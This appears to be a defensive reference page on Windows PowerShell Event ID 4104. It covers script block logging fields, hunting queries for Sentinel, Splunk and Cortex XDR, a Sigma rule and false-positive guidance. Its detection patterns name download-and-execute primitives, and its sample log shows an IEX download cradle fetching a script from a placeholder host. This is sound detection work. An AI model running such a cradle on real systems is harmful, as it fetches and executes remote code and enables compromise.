Windows Event ID 4104: PowerShell Script Block Logging
- Applicable version
- Windows PowerShell 5.0 and later with Script Block Logging enabled
- Last reviewed
- 2026-10-01
Quick summary
PowerShell Event ID 4104 records script block content and is one of the highest-value Windows telemetry sources for detecting malicious PowerShell execution.
Technical Metadata
| Event ID | 4104 |
|---|---|
| Provider | Microsoft-Windows-PowerShell |
| Channel | Microsoft-Windows-PowerShell/Operational |
| Level | Verbose |
| MITRE ATT&CK | TA0002 Execution / T1059.001 PowerShell |
| Key fields to watch | ScriptBlockText, ScriptBlockId, Path, MessageNumber / MessageTotal |
Trigger Scenarios
The PowerShell operational log records this event when Script Block Logging is enabled through policy or configuration. Large scripts can be split across multiple events sharing a ScriptBlockId.
Key Fields
ScriptBlockText
Script content processed by the engine, including commands, URLs, and decoding logic. Do not assume that every obfuscation layer or runtime-generated payload is decoded in one record.
ScriptBlockId
A unique identifier for the script block. Use it to group fragments when a long script is recorded across multiple events.
Path
The script file path when PowerShell knows it. An empty path may indicate interactive or in-memory execution.
MessageNumber / MessageTotal
Fragment sequence and total count. Reassemble by computer and ScriptBlockId, order by MessageNumber, and compare with MessageTotal to detect missing fragments. HostApplication is not a native 4104 payload field; obtain launch context from 4688 or 4103.
Threat Hunting Queries
Event
| where EventLog == "Microsoft-Windows-PowerShell/Operational" and EventID == 4104
| where RenderedDescription has_any ("FromBase64String", "DownloadString", "Invoke-Expression", "Invoke-WebRequest")
| project TimeGenerated, Computer, UserName, RenderedDescription- Data source
- Microsoft Sentinel Event table
- Assumptions
- PowerShell Script Block Logging is enabled and the connector retains RenderedDescription. Long script blocks must be reconstructed by ScriptBlockId and message sequence before final triage.
index=wineventlog source="WinEventLog:Microsoft-Windows-PowerShell/Operational" EventCode=4104
| search ScriptBlockText IN ("*FromBase64String*", "*DownloadString*", "*Invoke-Expression*", "*Invoke-WebRequest*")
| table _time, host, UserId, ScriptBlockId, MessageNumber, MessageTotal, Path, ScriptBlockText- Data source
- Splunk PowerShell Operational event data
- Assumptions
- Map ScriptBlockText, ScriptBlockId, MessageNumber, MessageTotal, and Path from EventData. UserId is a collector alias for System/Security/@UserID, not a native EventData field. Script block fragments are reassembled before content is classified.
dataset = microsoft_windows_raw
| filter edr_event_id = 4104- Data source
- Cortex XDR microsoft_windows_raw
- Assumptions
- The PowerShell Operational channel is collected into Cortex XDR. Confirm the Microsoft-Windows-PowerShell provider and inspect raw ScriptBlockText because parsed raw-field names can vary by collection path.
title: Suspicious PowerShell Script Block Primitives
status: experimental
logsource:
product: windows
service: powershell
detection:
selection:
EventID: 4104
ScriptBlockText|contains:
- 'FromBase64String'
- 'DownloadString'
- 'Invoke-Expression'
condition: selection
falsepositives:
- Administrative and security automation using the same APIs
level: medium
tags:
- attack.execution
- attack.t1059.001- Data source
- Sigma Windows PowerShell log source
- Assumptions
- The backend maps the powershell service and ScriptBlockText field to Event ID 4104 data. The strings are hunt seeds and require context, not stand-alone proof of malicious execution.
Documented Values and Codes
| Field | Value | Meaning | Security relevance |
|---|---|---|---|
| EventId | 4104 / 0x1008 | PowerShell Script Block Logging event identifier in decimal and hexadecimal form. | It selects script content rather than module pipeline execution or engine lifecycle events. Source |
| Level | Verbose | The documented level for Script Block Logging Event ID 4104. | Collectors configured to exclude verbose events can silently lose this high-value telemetry. Source |
| ScriptBlockLogging policy path | HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging | Registry policy location documented for enabling Script Block Logging. | Confirm this policy and collection coverage before interpreting the absence of Event ID 4104 as an absence of PowerShell execution. Source |
MITRE ATT&CK Mapping
- T1059.001PowerShell
Detection Notes
For T1059.001 PowerShell, investigate reconstructed ScriptBlockText that downloads content and passes it to Invoke-Expression, especially with a Path under C:\Users\ or C:\ProgramData\. These paths and APIs are hunt seeds, not proof: authorized automation can use both. Reassemble by computer, ScriptBlockId, MessageNumber, and MessageTotal before triage. Inspect -EncodedCommand separately in 4688 launch arguments; requiring that switch in 4104 text can miss the decoded script. Correlate the account, parent process, destination, and change record rather than treating FromBase64String alone as malicious.
Common False Positives
- Configuration management, login scripts, and administrative automation can legitimately contain download, remoting, and encoded-content patterns.
- Security products and management agents may invoke PowerShell with complex scripts at scale.
- Developer and operations hosts often have more diverse PowerShell activity than user workstations.
Related Events
Sample Log
EventCode: 4104
MessageNumber: 1
MessageTotal: 1
ScriptBlockId: 11111111-2222-3333-4444-555555555555
Path:
ScriptBlockText: IEX (New-Object Net.WebClient).DownloadString('https://example.invalid/p.ps1')Frequently Asked Questions
What does PowerShell Event ID 4104 record?
Event ID 4104 records the content of script blocks processed by PowerShell when Script Block Logging is enabled, in the Microsoft-Windows-PowerShell/Operational channel.
Why can one PowerShell script produce multiple Event ID 4104 records?
Group records by computer and ScriptBlockId, then order fragments by MessageNumber and check completeness against MessageTotal. A missing fragment can hide part of a download or execution chain; do not classify an incomplete script as safe.
Does FromBase64String in Event ID 4104 prove malicious PowerShell?
No. Legitimate automation also decodes Base64. Evaluate the reconstructed script and related process or network activity. -EncodedCommand is a PowerShell launch argument to inspect in 4688; it need not appear in the 4104 script text.
How do I enable PowerShell Script Block Logging for Event ID 4104?
For Windows PowerShell, enable Administrative Templates\Windows Components\Windows PowerShell\Turn on PowerShell Script Block Logging, or set EnableScriptBlockLogging to 1 under HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging. Start a new session and verify the Operational channel is collected. Scripts may expose secrets; evaluate Protected Event Logging and restrict access.
Sources
- PowerShell instrumentation manifest: T_ScriptBlock_Compiled payload
Microsoft / PowerShell · vendor
- about_Logging: PowerShell Script Block Logging
Microsoft · vendor
- Command and Scripting Interpreter: PowerShell (T1059.001)
MITRE ATT&CK · attack
- XDR Collector datasets
Palo Alto Networks · vendor
- Sigma Rules Specification
SigmaHQ · detection rule